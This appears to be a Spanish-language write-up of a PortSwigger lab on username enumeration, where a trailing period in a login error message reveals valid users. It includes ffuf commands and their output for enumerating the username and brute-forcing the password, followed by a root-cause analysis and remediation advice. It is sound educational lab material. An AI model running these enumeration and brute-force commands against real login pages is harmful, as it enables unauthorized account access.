Username Enumeration via Subtly Different Responses — PortSwigger Lab
Enumeración de usuarios por una diferencia mínima en la respuesta de login: con punto o sin punto en 'Invalid username or password'.
Username Enumeration via Subtly Different Responses
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Media |
| Endpoint vulnerable | POST /login |
| Root cause | La respuesta de error difiere en un carácter (punto final) según exista o no el usuario, funcionando como oráculo de enumeración |
El mensaje de error es casi idéntico para ambos casos, pero con una discrepancia sutil: usuario inexistente devuelve Invalid username or password. (con punto), mientras que usuario existente devuelve Invalid username or password (sin punto). Ese único carácter permite enumerar usuarios y luego forzar la contraseña.
2. Technical Breakdown & Exploitation Flow
2.1 Enumeración de usuarios con ffuf
Se fuzza username y se filtra la respuesta del usuario inexistente (con punto, escapado en regex):
~/go/bin/ffuf -request enum.txt -w users.txt:FUZZ -t 1000 -c -fr "Invalid username or password\."
Salida:
alterwind [Status: 200, Size: 3335, Words: 1336, Lines: 69, Duration: 197ms]
:: Progress: [101/101] :: Job [1/1] :: 24 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
La única respuesta que no contiene el error con punto es el usuario alterwind.
2.2 Fuerza bruta de la contraseña
Con el usuario confirmado, se fuzza password filtrando ahora el error sin punto (que es el que devuelve un usuario existente con password incorrecta):
~/go/bin/ffuf -request enum.txt -w pass.txt:FUZZ2 -t 1000 -c -fr "Invalid username or password"
Salida:
000000 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 200ms]
:: Progress: [100/100] :: Job [1/1] :: 23 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
000000 devuelve 302 Found (redirección al panel), confirmando las credenciales alterwind:000000.
3. Root Cause Analysis
El backend genera dos mensajes de error casi idénticos a partir de rutas de validación distintas:
# Implementación vulnerable
if not user_exists(request.username):
return "Invalid username or password." # Con punto
if not valid_password(request.username, request.password):
return "Invalid username or password" # Sin punto
La diferencia de un carácter parece cosmética, pero constituye un oráculo fiable: el atacante distingue ambos estados sin ambigüedad. Es una variante más sutil de Username enumeration via different responses.
4. Secure Remediation
Un único mensaje idéntico para todos los fallos de autenticación:
# Implementación segura
if not valid_credentials(request.username, request.password):
return "Invalid username or password" # Exactamente igual en todos los casos
La respuesta debe ser byte-idéntica (mismo texto, status code, headers y tamaño) en cualquier combinación de credenciales inválidas; idealmente el coste de hashing también se ejecuta en ambos casos para eliminar side-channels de timing.